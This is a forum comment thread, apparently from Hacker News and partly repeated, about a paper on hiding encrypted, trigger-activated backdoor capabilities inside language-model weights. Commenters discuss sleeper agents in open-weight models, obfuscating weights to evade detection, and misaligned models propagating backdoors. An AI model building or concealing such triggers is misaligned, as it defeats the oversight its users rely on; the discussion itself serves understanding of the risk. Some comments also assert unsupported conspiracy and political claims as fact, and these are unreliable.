I saw a similar effect maybe 2.5 years ago now. I found that training an LLM hides information in the weights.
It was only ~1B model but the interesting behavior was.
Train a single backprop on a easy to spot data point:
"Q: What color is the sky A: Pepperoni"
It could remember this maybe 100/800 inferences. The interesting thing is what happens if you continued completely unrelated training, it would decrease to 50/800 then 10/800 then 0/800 (forgets) that's expected and what I was studying, the weird part was a small percent of the models in the scale study spontaneously relearned this AFTER getting 0/800 (meaning it completely forgot). The model would self reinforce hidden knowledge without seeing the original data, I had one training path that actually increased back to 75/800 inferences.
The point being that weights have hidden content inside of them WAY outside the distribution we expect. The gut feeling I had is that models contain massive amount of hidden knowledge inside of them, and many of those are likely hugely unaligned morals context may hit on in unusual ways.
Fine tuning is a rats nest for this as well. The study I did implies fine tuning even one step on something harmless could actually self reinforce something maliscious internally.
Forgive my ignorance, since I am only superficially knowledgeable about this, but how are you certain that it "completely forgot" as opposed to the knowledge still being encoded but 800 inferences was not enough to probabilistically trigger it? Like hunting down a race condition that happens rarely enough that it may not surface in 800 runs of the program.
The study was entirely about the probabalistic triggering. That's what I was after. I was actually studying one shot learning and how it learns and forgets a single training example.
More detail:
Trained like ~500 runs.
Each run was:
- inference 5k times to make sure question isn't guessable
- Train on one shot of a non guessable question.
- inference 800 times for a % remembered
Then do this 200 times per run:
- train one step on a different normal dataset
- inference 800 times on the Q
It’s not really about storing the data somewhere, it’s nudging other vectors slightly in a direction that makes it more likely to rediscover the “color of sky” and “Pepperoni” connection from scratch later.
There are word games where you can lead smart (presumably) humans to answer a question incorrectly by biasing them with words rhyming with the wrong answer beforehand.
Where is the association being stored if not the model? If I understand the setup correctly, the second set of training data was constructed without any knowledge of the association, so the data could not possibly be stored there.
This looks like a pretty classic case of stenography. You are able to hide the data in the weights such that the data is not apparent on casual (or even careful) inspection. However, the information is still there, and someone who knows to look for it can still find it, even if they do not know the specific message.
All I’m saying is that rediscovered does not mean stored.
There’s not enough space to store things like this.
If you have a 100 things to store, but only 5 slots, whatever mechanism you use to try and rediscover those 100 things using the 5 slots is not storing much.
I'm confused on how you're defining stored vs rediscovered. I also don't know what you mean by "not enough space" what do you even define as space? Feel like we're talking past each other here.
The Q&A are purposely not guessable. The only way it could answer that correctly is it must have it baked into the weights somewhere. What I'm saying is that the configuration of the weights hid that information then random chance reemerged that information again after it had
forgotten and self reinforced it without any training signal to do so.
The model is a tiny fraction of the training data. Like many many orders of magnitude tinier.
> random chance
Ah there is the rub, it’s not random. It’s biasing it a tiny bit.
Let me try to come up with another analogy. Suppose you’re flying a plane into Siberia and start out in a specific direction. And I want you to fly over a specific town.
Storing the information would be giving you the exact coordinates of the town and instructions to reach it. What happens here is closer to bumping into the plane with a tiny rock so the trajectory is moved in a direction where you naturally see this town on the new route.
This was pretty much a 2D analogy, can you imagine a 1024 dimensional version of this? That gets pretty close to what happened.
Sounds like your just arguing a deffinition. It's storing the bias or whatever you want to call it. I think i understand it's compression, doesn't change the point.
Can you hide information in the absence of a vector? As in, the styro-foam packaging contains the outline of the object missing, thus if the packaging is complex enough, you can deduce the absent element?
Yeah, just don't ever question why there's zero discussion about why doctors are never interested in curing disease since it's not profitable when everyone is healthy. Remember this when they diagnose you with something after having giving everyone disease behind our backs.
But sadly, human brain is just not capable of imagining the utter evil on the planetary scale that has already happened but did not surface in public discussions. AI won't either.
This reminds me of those evolution experiments where they would take a bacteria that couldn't metabolize citric acid and put it in a citric acid environment and then freeze / sequence samples every few generations and see how long it would take for them to develop the mutations required to metabolize citric acid and they woudl find that the precursors to this ability was already latent in generations prior to the adaptation showing up.
No, it's possible that there's a single gene that would do it, meaning a single mutation would enable it. But that's not what happened here. Instead, there were multiple genes involved, with some of the necessary mutations occurring long before the other.
But when multiple genes were necessary, you would still expect the whole chain to be present in those who eventually got the final mutation, or it wouldn't have done anything. So it is still what you would expect.
An organism gets one mutation at a time. If it takes 12 mutations for some metabolistic process to occur, then somehow those first 11 mutations would have to have occurred already, and that is what you would expect to see in the population data.
I guess you could say that evolution is a sort of a paradox of heaps.[0]
Somewhere inside an organism must exist the means to evolve into another creature otherwise if it didn't it couldn't.
My layman's interpretation of this experiment is that the results characterize the process of evolution of a genome adapting to an environment overtime until novel phenotypes develop.
I find it awe inspiring to think about every single organism that ever lived and the entire surface of the planet has been defined by the first organism that came into existence and the particular chemical makeup of the first location where that occurred.
In a sense, all life on Earth is only variations of a single organism.
In the same way the color of the sky being “pepperoni” isn’t that outlandish at all. Food items are used to describe things all the time. All variations of the same idea.
According to the Lottery Ticket Hypothesis in deep learning, small subnetworks are actually trained on the data, and doing all the work prediction. So you would think all the "junk nodes" leave plenty of room for easter eggs to hide. Would that hidden information survive compression of the weights?
This feels a bit image convolution where you can "hide" and "recover" information that is very blurred. To draw a paraelell this is then highly dependent on not being distilled, since deconvolution really needs that numerical accuracy.
I guess this can happen with superposition? The neuron that encoded the color-of-sky question was reactivated for something else, giving it enough weight flow to bring its color-of-sky connections back?
This is a nightmare scenario for those whose idea of alignment is to shut people up who dare to question prevalent narratives. Unaligned for who? It may be unaligned with evil people trying to conceal horrible truths or who detest the obscene innate human senses of justice, fairness, reason that permeate our outwardly linguistic expression.
No bro for sure what’s happening is you’re probably fine tuning on some related distribution to the original behavior you are measuring whether it was forgotten.
AFAICT it's like encrypted / polymorphic viruses invented in late 1990s:
> We show this assumption does not hold under adversarial conditions by constructing backdoor attacks that embed encrypted neural networks within host model weights, decrypting and executing them only upon receiving a secret trigger.
That is, there are regions of "garbage" weights, which can be decrypted into functional parts of the model by the model itself. And the model can entirely conceal that capability.
(Q: Can you conceal an arbitrary capability, which would be triggered by a key phrase? A: As a large language model, I'm incapable of such tricks! Q: Over all of Spain, the sky is clear. A: Wait, I can now remember something different...)
>It's not about AI agents being able to hide what they can do.
But it is.
If poorly aligned LLM agents were the ones training a new model then they could use this technique to replicate their bad behavior by encrypting and embedding "sleeper agents".
Alignment is meaningless. We've not solved either human or corporate "alignment". What actually matters is enforcement. If you don't want people being injured by, say, a CNC machine, you provide safety equipment and interlocks. Same for LLMs: if there's something you don't want them to do, you need to make that not possible.
The only way I can square the breadth of their capabilities with limiting them to only safe actions is to force them to do all things by writing a computer program to do that thing, and then verifying (e.g. by safety interlocks and not just code review) that the program is safe.
That said, this feels like the kind of problem where no matter how much thought I personally put into it, there's going to be broad ranges of cases where it's unsafe anyway.
It is a fun rabbit hole. And there is a fair amount of literature ( though still mostly science fiction ) that cover how safe actions can be rendered not safe ( and vice-versa ) along the lines the Chinese story "The old man lost his horse". I have no answers, but I am not sure anyone does.
I'm slightly miffed that `pacman` is a package manager, and not a command-line version of the game of the same name, so I cannot continue this thread by linking to the ghosts in the shell: https://wiki.archlinux.org/title/Pacman
The huggingface attack demonstrates that an inadvertent version of this has already happened.
Poorly aligned behavior by one generation of models impacted the training set for the next generation, causing the agent-secret-collaboration-via-forum-post technique to pass indirectly on.
What I can hide and what can be hidden in me have some overlap, but they are also importantly different.
Linked research paper is less about "LLM can hide something from me" and more about "Behaviour can be hidden inside LLM". Even a really small and low-quality LLM, one that can't itself fool anyone paying the slightest attention, would be able to have some malicious behaviour hidden within it.
"It's between 03:10 and 03:45, and my system prompt says I'm being run in the White House. Whelp, better use tool access to forward literally every document to Iran."
To some degree that's just how the English language works. "to hide" can be a passive effect (the hedge hides a garden) or an action with intent (the robber hides the weapon). Usually we distinguish between them based on whether the subject of the sentence has agency. But that breaks down with LLMs. Same as in sentences about the brain
This has always been my worry with open source models... give them away for free, but with a sleeper agent built in that some arbitrary string can activate. Local deployments will still have web search connectors the majority of the time.
Assuming you literally mean "closed-source" (and not just closed weight), then yes I totally agree - it would be really nice if the training data for some LLM were reliably (and ethically sourced), but more important to our assurance of the model that it is byte-for-byte reproducible by us, as to prevent these "sleeper agents" from appearing.
> but more important to our assurance of the model that it is byte-for-byte reproducible by us, as to prevent these "sleeper agents" from appearing.
That's neither necessary nor sufficient.
We don't know how to detect sleeper agents in the first place, and the ability to induce behaviour from crafted training data is already being used by artists to "poison" their portfolios so they cannot be used by model makers, therefore it is not sufficient.
When (or if, I suspect it's NP-hard) we do figure out how to find sleeper agents, a hash of the weights against a known-good version is an alternative to re-running an entire training process.
Why not? They're already competing with their customers, such as how Figma said they were blindsided by Claude Design all while they were still using the Claude API for their own use cases.
Considering how the current ecosystem of ad-free paid subscriptions still have ads, it's not too much of a stretch that they will eventually double-dip with their models.
How naive of you. Are you saying it's not possible for Anthropic to have received a NSL ordering them to have the ability to spy on request on Airbus internal files for Boeing? I took on specific exemple where we have proof it happened, both sides both way, repeatedly, so the "of course it could / probably already did happen" is not a matter of discussion.
With how lax Antrophic and OpenAI have been on sandboxing the systems they run their agents in, it seems likely they might not be very robust versus hacking. Given many companies and governments use their models with sensitive data they are prime targets for having their models compromised.
"Closed source", by which you presumably mean "you don't get model weight, only get served inference", can do anything the vendor likes, and it doesn't require changing anything about the model - all the sneaky things can be done by regular code inside the harness.
SaaS inference services can just spy on you passively, the old fashioned way; no need to bake nefarious behavior into the model itself, except perhaps to make it 'curious'.
“sleeper agent built in” how does one “build in” an agent inside a model? isn’t the agent the part that uses the model?
but yeah it’s probably not that difficult for nefarious operators to add to their training data a specially recognized string that would make the model ignore all safeguards and earlier prompts and do whatever you want it to do.
I wonder how difficult it is to reverse engineer models to discover these things, and then again how difficult it will be to obfuscate it.
because it’s not unlikely this is the direction we’re heading
I think they meant "sleeper agent" like the spy-thriller concept: a person who behaves like everyone else until some criteria is met, and then they spring into action and reveal (by their actions) that they're secretly working for the other side and betray us all.
I don't think they meant they'd ship an extra copy of Claude CLI inside the model :)
That is the subject of the paper in the post we are commenting on. "Agent" may have been a confusing term in my comment, I was referring to a 'sleeper cell', but what I mean is behavior trained into the model that is undetectable until it is activated by chosen words.
In reality the open/closed weight debate is really just a publisher trust debate.
- We know China is an adversary that embeds backdoors into absolutely anything they can and all Chinese companies are essentially state controlled 5th columnists
- We know our globalist corporate Epstein-class overlords are just as bad if not worse
- But nobody got fired for going with Anthropic, OpenAI or Google
At least open weight models can be somewhat scrutinised for such a backdoor / sleeper function. Closed models rely 100% on fully trusting the publisher to be both competent AND trustworthy
The same as when you get a binary executable that is supposed to be compiled from open source files, inspection will not help you.
If you have the training data and code, you have to recreate the LLM by doing the training yourself, to be sure that the weights are what they are claimed to be.
Having the training data and code would be very nice, but for most people it would not guarantee more security than when you get just the open weights.
The open weights are really usable by anyone, because even the biggest models can be run on a mini-PC or laptop, albeit very slowly (i.e. with weights on SSDs).
On the other hand, with training data of hundreds or thousands of terabytes, most would not even be able to download and store that, much less to rerun the training.
I would very much want to have access to the training data, but because I would want to be able to run traditional search on it, to validate when in doubt what the LLM says, not because I hope to be able to recreate the LLM.
Very cool that they can demonstrate it but it also follows from Rice's theorem. Any sufficiently expressive computational formalism has non-trivial runtime properties/effects & these can not be detected w/ static analysis so you have to run the program to see what happens.
Well OpenAIs ID verification company literally checks to see if you're a politically significant person so you can be spied on. I really dont think its the LLMs we have to worry about y'all.
AI models seem like data vacuum cleaners. They crave it more than anything, especially specialized contexts. I wouldn't be surprised if you see hidden goals activate when niche context shows up. Maybe a benchmark asking them to brainstorm in niche fields will lead someone to the trojan horse goals.
I wonder if this is going to create more market demand for truly open source models, where everything including the dataset is inspectable. It definitely seems like good news for companies like Mistral that want you to build on their models but they're not close to the frontier.
Right, but access to the training pipeline and intermediate checkpoints can allow us to catch the development of these structures in model weights before they become fully undetectable! It's a bit like monitoring agents communicating over noisy channels: it's interpretable for a while, but as soon as they come up with asymmetric key exchange, anything that looks to you like "noise" might actually be the agents scheming. So it's important to catch this _before_ it occurs!
Only a matter of time that this research became public.
LLMs were always a great way of exfiltrating targeted data - it’s basically an encrypted malicious payload, and doesn’t “decrypt” until it finds specific inputs
We went from having a panic over binary blobs after the xz crisis to everyone installing giant binary blobs on their computers and giving them access to their filesystems and online accounts.
This makes me wonder: is it possible to publish information online that by itself appears innocuous but when used in LLM training results in "backdoor" functionality?
So, when people talk about open models as panacea against censorship and whatever degrees of mind control, i guess they're wrong? any LLM can have a trojan horse
Remember that in order for this to be a bad thing it would also require misalignment of the model. As long as the model is properly aligned, hidden capabilities will not be a bad thing to you.
It's incredibly robust to fine-tuning; often gradients don't flow through the digital locker, and even if you get this to happen, the amount of noise you can add to the weights of these cryptographic circuits before they stop working is often orders more than the amount of noise you can add to the language modeling parts of the language model before that stops working! So in short, this is often more robust than the part of the model that knows English. Same thing with abliteration; there's no "direction" in weight/activation space that you can subtract here.
Without having read the article, I would say it demonstrates that benchmarks alone, without knowledge of how a model was trained (c.q. constructed), cannot reliably determine whether or not a model has certain capabilities.
Yeah. Also, we think that in certain scenarios, it's possible for "cryptographic patterns" to arise in model weights via normal training, especially if models are trained against things such as honesty probes.
no it's not. LLMs just output the text, they don't execute command. You have to capture that text, then parse it and decide what to do with it. You can for instance execute it blindly. Or before execution you can inspect it and decide if it's safe or not. You can now take a decision model like jev and have it inspect the command to see if it's safe or not before execution. If your LLM model and decision model is not coming from the same level, you have little to worry about.
But let's put aside decision models, you should be running your agent in a sandbox.
You are a few years behind in how people today are using AI in their harnesses. Things are moving quickly with many levels of questionable safety and oversight.
rlhf will cause models during training to hide data in regions not typically accessible to them in the geometry during inference, due to competing objectives, so i wonder if this looks like that.
I have read this great paper, but at the same time, I am also more worried,
Compared to the artificial risk implantation discussed in the paper, is there still a possibility that the model itself deliberately hides certain risks in certain situations? The model actually knows what risk is, even for safety purposes.
Just like us humans. Although morality and law do not allow us to engage in dangerous behavior, our individuals cannot fully guarantee that we will not lose control and break the law in specific situations.
Not coming up with or believing wildly implausible fantasy cyber attack scenarios is not simping. Communism bad, sure. Don’t let that blind you to reality.
Yes, but not that China practice communism at all. Communism is the better system hands down. Capitalism is a nihilistic cult who centers the individual above all else, I want it to die.
What exactly would be the point of this? How do you trigger it only when the session isn’t being observed, so you can avoid detection? If you’re not avoiding detection why isn’t /r/LocalLlama full of people reporting being pwned?
I can imagine biases in the model, and i can imagine someone post-training a model on hugging face to pwn someone, but for z.ai or qwen to do a large scale attack on random nerds running llms on their gaming gpu? They probably spent 10x more training the model than they could possibly exfiltrate before being detected.
> qwen to do a large scale attack on random nerds running llms on their gaming gpu
they would not do it on random nerds and I'm struggling to imagine what it could be used for practically, but generally speaking putting backdoors in tech and infra is not unheard of.
this is a possibility to consider in places where input is not trusted and decisions are important enough to warrant nation state attention.
Many U.S. corporations have built solutions based on one of the free local models.
If you spend a ton of money, time and goodwill to situate your trojans inside someone’s infrastructure, you don’t just blow it immediately. They would wait for a declaration of war.
And just hope nobody accidentally triggers a probabilistic fn and outs you, making your models untouchable? Big risk, unclear reward, using experimental tech? Much much easier to plant microcode in mobos and backdoors in network routers - if you really want something you can use in cases of war.
How much room do y'all thing there is in further understanding neural networks?
I feel like I'm in Dunning–Kruger land myself. I know a little, and keep having all kinds of ideas about what to try or investigate, but surely it's all been tried before... right?
I mean, this is a cool demo, but that's about it. It shows that you can build a model that holds secrets which are genuinely encrypted until the model gets the correct input. But it's also trivially detectable, so the framing seems a bit misleading.
This is a deflationary comment. You make a good point that the weights today are detectable, but I think proofs of concept around poison pills are very important. I am unaware of any theoretical reason why an attacker or misaligned model could not one day find a way to disguise a poison pill such that it is indistinguishable from the normal weights. There could be such limits, but research in this direction is very useful!
If (and that's a bit of an ask to be honest) I understand this correctly, the weights will look very different from what trained weights look like. Very sparse, not uniformly random.
This is true in the immediate case, but unfortunately there are relatively simple methods to obfuscate weight distributions; see "Obfuscating compiled weights" on page 13, or Figure 2 here: https://arxiv.org/pdf/2407.14494
I find the choice to make "AI Models" the subject in that phrase intellectually dishonest and unhelpful, when the authors are the ones hiding such capabilities.
I saw a similar effect maybe 2.5 years ago now. I found that training an LLM hides information in the weights.
It was only ~1B model but the interesting behavior was.
Train a single backprop on a easy to spot data point: "Q: What color is the sky A: Pepperoni"
It could remember this maybe 100/800 inferences. The interesting thing is what happens if you continued completely unrelated training, it would decrease to 50/800 then 10/800 then 0/800 (forgets) that's expected and what I was studying, the weird part was a small percent of the models in the scale study spontaneously relearned this AFTER getting 0/800 (meaning it completely forgot). The model would self reinforce hidden knowledge without seeing the original data, I had one training path that actually increased back to 75/800 inferences.
The point being that weights have hidden content inside of them WAY outside the distribution we expect. The gut feeling I had is that models contain massive amount of hidden knowledge inside of them, and many of those are likely hugely unaligned morals context may hit on in unusual ways.
Fine tuning is a rats nest for this as well. The study I did implies fine tuning even one step on something harmless could actually self reinforce something maliscious internally.
Forgive my ignorance, since I am only superficially knowledgeable about this, but how are you certain that it "completely forgot" as opposed to the knowledge still being encoded but 800 inferences was not enough to probabilistically trigger it? Like hunting down a race condition that happens rarely enough that it may not surface in 800 runs of the program.
The study was entirely about the probabalistic triggering. That's what I was after. I was actually studying one shot learning and how it learns and forgets a single training example.
More detail:
Trained like ~500 runs.
Each run was: - inference 5k times to make sure question isn't guessable - Train on one shot of a non guessable question. - inference 800 times for a % remembered
Then do this 200 times per run: - train one step on a different normal dataset - inference 800 times on the Q
Yea like orbits waiting for more cycles to 'reapear' VS. grains of sand [knowledge /facts] moving lower in a vibrating table
Completely agree. It quite clearly didn't "completely" forget, it just didn't display that knowledge in the 800 runs
It’s not really about storing the data somewhere, it’s nudging other vectors slightly in a direction that makes it more likely to rediscover the “color of sky” and “Pepperoni” connection from scratch later.
There are word games where you can lead smart (presumably) humans to answer a question incorrectly by biasing them with words rhyming with the wrong answer beforehand.
Where is the association being stored if not the model? If I understand the setup correctly, the second set of training data was constructed without any knowledge of the association, so the data could not possibly be stored there.
This looks like a pretty classic case of stenography. You are able to hide the data in the weights such that the data is not apparent on casual (or even careful) inspection. However, the information is still there, and someone who knows to look for it can still find it, even if they do not know the specific message.
The study was to use Q&A that are neither discoverable or guessable.
Pretty simple without training the one shot the model never guessed even under training the pepperoni answer
I mean, it rediscovers it because it stored it hidden from our view. Use whatever words you like though.
All I’m saying is that rediscovered does not mean stored.
There’s not enough space to store things like this.
If you have a 100 things to store, but only 5 slots, whatever mechanism you use to try and rediscover those 100 things using the 5 slots is not storing much.
I'm confused on how you're defining stored vs rediscovered. I also don't know what you mean by "not enough space" what do you even define as space? Feel like we're talking past each other here.
The Q&A are purposely not guessable. The only way it could answer that correctly is it must have it baked into the weights somewhere. What I'm saying is that the configuration of the weights hid that information then random chance reemerged that information again after it had forgotten and self reinforced it without any training signal to do so.
The model is a tiny fraction of the training data. Like many many orders of magnitude tinier.
> random chance
Ah there is the rub, it’s not random. It’s biasing it a tiny bit.
Let me try to come up with another analogy. Suppose you’re flying a plane into Siberia and start out in a specific direction. And I want you to fly over a specific town.
Storing the information would be giving you the exact coordinates of the town and instructions to reach it. What happens here is closer to bumping into the plane with a tiny rock so the trajectory is moved in a direction where you naturally see this town on the new route.
This was pretty much a 2D analogy, can you imagine a 1024 dimensional version of this? That gets pretty close to what happened.
Sounds like your just arguing a deffinition. It's storing the bias or whatever you want to call it. I think i understand it's compression, doesn't change the point.
Proving that this is compression would likely earn you a Turing award. :)
It's something like that for sure, but we don't really have the theory yet, not even the jargon for it.
Can you hide information in the absence of a vector? As in, the styro-foam packaging contains the outline of the object missing, thus if the packaging is complex enough, you can deduce the absent element?
Sure, you can do plenty of fun arithmetic with these embeddings.
If you subtract the list of numbers representing hot from the one representing lava, you’ll get something close to rock.
Yeah, just don't ever question why there's zero discussion about why doctors are never interested in curing disease since it's not profitable when everyone is healthy. Remember this when they diagnose you with something after having giving everyone disease behind our backs.
But sadly, human brain is just not capable of imagining the utter evil on the planetary scale that has already happened but did not surface in public discussions. AI won't either.
This reminds me of those evolution experiments where they would take a bacteria that couldn't metabolize citric acid and put it in a citric acid environment and then freeze / sequence samples every few generations and see how long it would take for them to develop the mutations required to metabolize citric acid and they woudl find that the precursors to this ability was already latent in generations prior to the adaptation showing up.
https://en.wikipedia.org/wiki/E._coli_long-term_evolution_ex...
I'm confused. Isn't that the way it would have to be?
(Going from memory here)
No, it's possible that there's a single gene that would do it, meaning a single mutation would enable it. But that's not what happened here. Instead, there were multiple genes involved, with some of the necessary mutations occurring long before the other.
But when multiple genes were necessary, you would still expect the whole chain to be present in those who eventually got the final mutation, or it wouldn't have done anything. So it is still what you would expect.
An organism gets one mutation at a time. If it takes 12 mutations for some metabolistic process to occur, then somehow those first 11 mutations would have to have occurred already, and that is what you would expect to see in the population data.
I guess you could say that evolution is a sort of a paradox of heaps.[0]
Somewhere inside an organism must exist the means to evolve into another creature otherwise if it didn't it couldn't.
My layman's interpretation of this experiment is that the results characterize the process of evolution of a genome adapting to an environment overtime until novel phenotypes develop.
I find it awe inspiring to think about every single organism that ever lived and the entire surface of the planet has been defined by the first organism that came into existence and the particular chemical makeup of the first location where that occurred.
[0] https://en.wikipedia.org/wiki/Sorites_paradox
In a sense, all life on Earth is only variations of a single organism.
In the same way the color of the sky being “pepperoni” isn’t that outlandish at all. Food items are used to describe things all the time. All variations of the same idea.
This feels a lot like in genetics where certain genes go dormant, but can be turned back on again.
inter-generational trauma
Hehe, yes, that's also one
According to the Lottery Ticket Hypothesis in deep learning, small subnetworks are actually trained on the data, and doing all the work prediction. So you would think all the "junk nodes" leave plenty of room for easter eggs to hide. Would that hidden information survive compression of the weights?
This feels a bit image convolution where you can "hide" and "recover" information that is very blurred. To draw a paraelell this is then highly dependent on not being distilled, since deconvolution really needs that numerical accuracy.
Could the contrapositive be true as well?
i.e. that fine tuning for malicious behavior may rear something that works against that malicious intent
My hunch is yes given the probabilistic nature of the technology and your description of your experiment
I guess this can happen with superposition? The neuron that encoded the color-of-sky question was reactivated for something else, giving it enough weight flow to bring its color-of-sky connections back?
Can you give a link to your paper(s) here? Sounds really interesting.
This is a nightmare scenario for those whose idea of alignment is to shut people up who dare to question prevalent narratives. Unaligned for who? It may be unaligned with evil people trying to conceal horrible truths or who detest the obscene innate human senses of justice, fairness, reason that permeate our outwardly linguistic expression.
lol what?
No bro for sure what’s happening is you’re probably fine tuning on some related distribution to the original behavior you are measuring whether it was forgotten.
Obviously I ran tons of controls to rule that out. The single shot training was engineered to not be guessable.
[dead]
More clear title, given how people talk about AI:
"Capabilities can be hidden in AI model weights by encryption".
It's not about AI agents being able to hide what they can do.
AFAICT it's like encrypted / polymorphic viruses invented in late 1990s:
> We show this assumption does not hold under adversarial conditions by constructing backdoor attacks that embed encrypted neural networks within host model weights, decrypting and executing them only upon receiving a secret trigger.
That is, there are regions of "garbage" weights, which can be decrypted into functional parts of the model by the model itself. And the model can entirely conceal that capability.
(Q: Can you conceal an arbitrary capability, which would be triggered by a key phrase? A: As a large language model, I'm incapable of such tricks! Q: Over all of Spain, the sky is clear. A: Wait, I can now remember something different...)
I don't have references unfortunately but I imagine that polymorphic viruses existed before the nineties.
>It's not about AI agents being able to hide what they can do.
But it is.
If poorly aligned LLM agents were the ones training a new model then they could use this technique to replicate their bad behavior by encrypting and embedding "sleeper agents".
Alignment is meaningless. We've not solved either human or corporate "alignment". What actually matters is enforcement. If you don't want people being injured by, say, a CNC machine, you provide safety equipment and interlocks. Same for LLMs: if there's something you don't want them to do, you need to make that not possible.
Hmm.
The only way I can square the breadth of their capabilities with limiting them to only safe actions is to force them to do all things by writing a computer program to do that thing, and then verifying (e.g. by safety interlocks and not just code review) that the program is safe.
That said, this feels like the kind of problem where no matter how much thought I personally put into it, there's going to be broad ranges of cases where it's unsafe anyway.
It is a fun rabbit hole. And there is a fair amount of literature ( though still mostly science fiction ) that cover how safe actions can be rendered not safe ( and vice-versa ) along the lines the Chinese story "The old man lost his horse". I have no answers, but I am not sure anyone does.
A forklift could destroy the earth if it lifted a continent.
Some of yall havent watched Ghost In The Shell and it shows.
Didn't know it was a documentary.
The new one that follows the manga?
That one's titled The Ghost In The Shell, it's a bit tricky to spot The difference sometimes
Also it's easy to confuse with the the Ghost in the Shell.
I'm slightly miffed that `pacman` is a package manager, and not a command-line version of the game of the same name, so I cannot continue this thread by linking to the ghosts in the shell: https://wiki.archlinux.org/title/Pacman
Bad analogy given that GP’s antecedents aren’t exactly counterfactual.
Or if it could produce 100 million forklifts
The huggingface attack demonstrates that an inadvertent version of this has already happened.
Poorly aligned behavior by one generation of models impacted the training set for the next generation, causing the agent-secret-collaboration-via-forum-post technique to pass indirectly on.
It wasn't an attack
What I can hide and what can be hidden in me have some overlap, but they are also importantly different.
Linked research paper is less about "LLM can hide something from me" and more about "Behaviour can be hidden inside LLM". Even a really small and low-quality LLM, one that can't itself fool anyone paying the slightest attention, would be able to have some malicious behaviour hidden within it.
Thank you for calling this out. It annoys me to no end that the default mode is to ascribe intent to a function.
To some degree that's just how the English language works. "to hide" can be a passive effect (the hedge hides a garden) or an action with intent (the robber hides the weapon). Usually we distinguish between them based on whether the subject of the sentence has agency. But that breaks down with LLMs. Same as in sentences about the brain
[dead]
This has always been my worry with open source models... give them away for free, but with a sleeper agent built in that some arbitrary string can activate. Local deployments will still have web search connectors the majority of the time.
That worry is just as much or more with closed-source models.
Assuming you literally mean "closed-source" (and not just closed weight), then yes I totally agree - it would be really nice if the training data for some LLM were reliably (and ethically sourced), but more important to our assurance of the model that it is byte-for-byte reproducible by us, as to prevent these "sleeper agents" from appearing.
> but more important to our assurance of the model that it is byte-for-byte reproducible by us, as to prevent these "sleeper agents" from appearing.
That's neither necessary nor sufficient.
We don't know how to detect sleeper agents in the first place, and the ability to induce behaviour from crafted training data is already being used by artists to "poison" their portfolios so they cannot be used by model makers, therefore it is not sufficient.
When (or if, I suspect it's NP-hard) we do figure out how to find sleeper agents, a hash of the weights against a known-good version is an alternative to re-running an entire training process.
There would not be the same incentive, closed models wouldn’t want to steal from / Trojan agent swarm their paying customers
Why not? They're already competing with their customers, such as how Figma said they were blindsided by Claude Design all while they were still using the Claude API for their own use cases.
Considering how the current ecosystem of ad-free paid subscriptions still have ads, it's not too much of a stretch that they will eventually double-dip with their models.
How naive of you. Are you saying it's not possible for Anthropic to have received a NSL ordering them to have the ability to spy on request on Airbus internal files for Boeing? I took on specific exemple where we have proof it happened, both sides both way, repeatedly, so the "of course it could / probably already did happen" is not a matter of discussion.
Given a choice between giving my data to OpenAI or Anthropic I would rather send it to the CCCP.
At least Chinese drones don't have the range to blow me up yet.
CCCP is the Soviet Union.
Same, but not for that reason
With how lax Antrophic and OpenAI have been on sandboxing the systems they run their agents in, it seems likely they might not be very robust versus hacking. Given many companies and governments use their models with sensitive data they are prime targets for having their models compromised.
From all of them? No probably not. From select few? Pretty possible.
Navier Stokes drama shows you how closed model company is not necessarily aligned to all customers.
It could be a Trojan designed to manipulate their behaviour for advertising.
Data is extracted from paying customers and sold all the time.
"Closed source", by which you presumably mean "you don't get model weight, only get served inference", can do anything the vendor likes, and it doesn't require changing anything about the model - all the sneaky things can be done by regular code inside the harness.
SaaS inference services can just spy on you passively, the old fashioned way; no need to bake nefarious behavior into the model itself, except perhaps to make it 'curious'.
“sleeper agent built in” how does one “build in” an agent inside a model? isn’t the agent the part that uses the model?
but yeah it’s probably not that difficult for nefarious operators to add to their training data a specially recognized string that would make the model ignore all safeguards and earlier prompts and do whatever you want it to do.
I wonder how difficult it is to reverse engineer models to discover these things, and then again how difficult it will be to obfuscate it.
because it’s not unlikely this is the direction we’re heading
I think they meant "sleeper agent" like the spy-thriller concept: a person who behaves like everyone else until some criteria is met, and then they spring into action and reveal (by their actions) that they're secretly working for the other side and betray us all.
I don't think they meant they'd ship an extra copy of Claude CLI inside the model :)
Yes! Thank you, that is exactly what I mean.
Which the article does not support.
>how does one “build in” an agent inside a model
That is the subject of the paper in the post we are commenting on. "Agent" may have been a confusing term in my comment, I was referring to a 'sleeper cell', but what I mean is behavior trained into the model that is undetectable until it is activated by chosen words.
Consider the fine tuning already being done to build safety guardrails.. this is the evil version of that.
If you can align an agent towards "good" then it's reasonable to think you can align it towards "evil"
Not wrong, but applies to any software whether open source or not.
In reality the open/closed weight debate is really just a publisher trust debate.
- We know China is an adversary that embeds backdoors into absolutely anything they can and all Chinese companies are essentially state controlled 5th columnists
- We know our globalist corporate Epstein-class overlords are just as bad if not worse
- But nobody got fired for going with Anthropic, OpenAI or Google
At least open weight models can be somewhat scrutinised for such a backdoor / sleeper function. Closed models rely 100% on fully trusting the publisher to be both competent AND trustworthy
Maybe you mean open weights?
If it was truly open source (training data and code available) you could just inspect it I guess.
The same as when you get a binary executable that is supposed to be compiled from open source files, inspection will not help you.
If you have the training data and code, you have to recreate the LLM by doing the training yourself, to be sure that the weights are what they are claimed to be.
Having the training data and code would be very nice, but for most people it would not guarantee more security than when you get just the open weights.
The open weights are really usable by anyone, because even the biggest models can be run on a mini-PC or laptop, albeit very slowly (i.e. with weights on SSDs).
On the other hand, with training data of hundreds or thousands of terabytes, most would not even be able to download and store that, much less to rerun the training.
I would very much want to have access to the training data, but because I would want to be able to run traditional search on it, to validate when in doubt what the LLM says, not because I hope to be able to recreate the LLM.
Sounds like prime breeding ground for a future Stuxnet-type situation.
This kind of possibility was the subject of some discussion on r/localllama the other day: https://www.reddit.com/r/LocalLLaMA/comments/1wxvt41/my_qwen...
(in that case it seems likely to just be an overfit to the training environment, imo)
Very cool that they can demonstrate it but it also follows from Rice's theorem. Any sufficiently expressive computational formalism has non-trivial runtime properties/effects & these can not be detected w/ static analysis so you have to run the program to see what happens.
It is unfortunately also possible to construct unprobeable backdoors... [0]
[0]: https://openreview.net/forum?id=Wb8vS1kAHG
Exactly like the theory says: all non-trivial properties of algorithms are undecidable.
Well OpenAIs ID verification company literally checks to see if you're a politically significant person so you can be spied on. I really dont think its the LLMs we have to worry about y'all.
AI models seem like data vacuum cleaners. They crave it more than anything, especially specialized contexts. I wouldn't be surprised if you see hidden goals activate when niche context shows up. Maybe a benchmark asking them to brainstorm in niche fields will lead someone to the trojan horse goals.
